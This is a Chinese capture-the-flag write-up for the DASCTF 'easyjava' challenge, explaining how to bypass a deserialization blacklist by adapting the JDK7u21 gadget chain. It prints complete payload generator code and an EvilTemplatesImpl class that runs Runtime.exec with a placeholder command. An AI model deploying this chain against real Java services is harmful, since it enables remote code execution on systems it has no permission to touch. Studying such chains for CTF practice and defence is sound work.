[DASCTF][Java反序列化]easyjava简单分析
Posted Y4tacker
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[DASCTF][Java反序列化]easyjava简单分析相关的知识,希望对你有一定的参考价值。
写在前面
昨天题目环境似乎出了点小问题,咋也不好问,咋也不敢说,题目有意思,当然还有其他链子猜测jdbc应该也可以打,没试过太懒了
easyjava
首先下载源码发现Java版本是1.7的,先放这里
看看在evil
路由下面,很明显是去触发反序列化,但是有过滤
ban了这么多,cc链基本上不用想了,一方面是低版本不起作用,另一方面Transformer被ban了,看来只能用TemplatesImpl去执行字节码试一试,想到了Java7U21反序列化(可以看我博客分析)[Java反序列化]JDK7U21原生反序列化利用链分析
这里只禁用了java.util.LinkedHashSet
,结合7U21原理,这玩意儿是基于链表实现的Hashset,这个被ban了,那我就用Hashset替换就好了,不过直接改了HashSet是无法触发的
只需要将这两个换位置即可
就是这样,这就是HashSet与LinkedHashSet的区别所在了
放出payload吧也不难小小改一波7U21
public class test {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][]{
ClassPool.getDefault().get(evil.EvilTemplatesImpl.class.getName()).toBytecode()
});
setFieldValue(templates, "_name", "HelloTemplatesImpl");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
String zeroHashCodeStr = "f5a5a608";
// 实例化一个map,并添加MagicNumber为key,也就是f5a5a608,value先随便设置一个值
HashMap map = new HashMap();
// 将恶意templates设置到map中
map.put(zeroHashCodeStr, templates);
// 实例化AnnotationInvocationHandler类
Constructor handlerConstructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
handlerConstructor.setAccessible(true);
InvocationHandler tempHandler = (InvocationHandler) handlerConstructor.newInstance(Templates.class, map);
// 为tempHandler创造一层代理
Templates proxy = (Templates) Proxy.newProxyInstance(test.class.getClassLoader(), new Class[]{Templates.class}, tempHandler);
// 实例化HashSet,并将两个对象放进去
HashSet set = new HashSet();
set.add(proxy);
set.add(templates);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(set);
System.out.println(new BASE64Encoder().encode(barr.toByteArray()));
oos.close();
}
}
还有
public class EvilTemplatesImpl extends AbstractTranslet {
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
public EvilTemplatesImpl() throws Exception {
super();
Runtime.getRuntime().exec("执行命令");
}
}
用了ClassPool,记得在maven添加依赖
<dependency>
<groupId>javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.12.1.GA</version>
</dependency>
成功 有点意思
推荐文章
以上是关于[DASCTF][Java反序列化]easyjava简单分析的主要内容,如果未能解决你的问题,请参考以下文章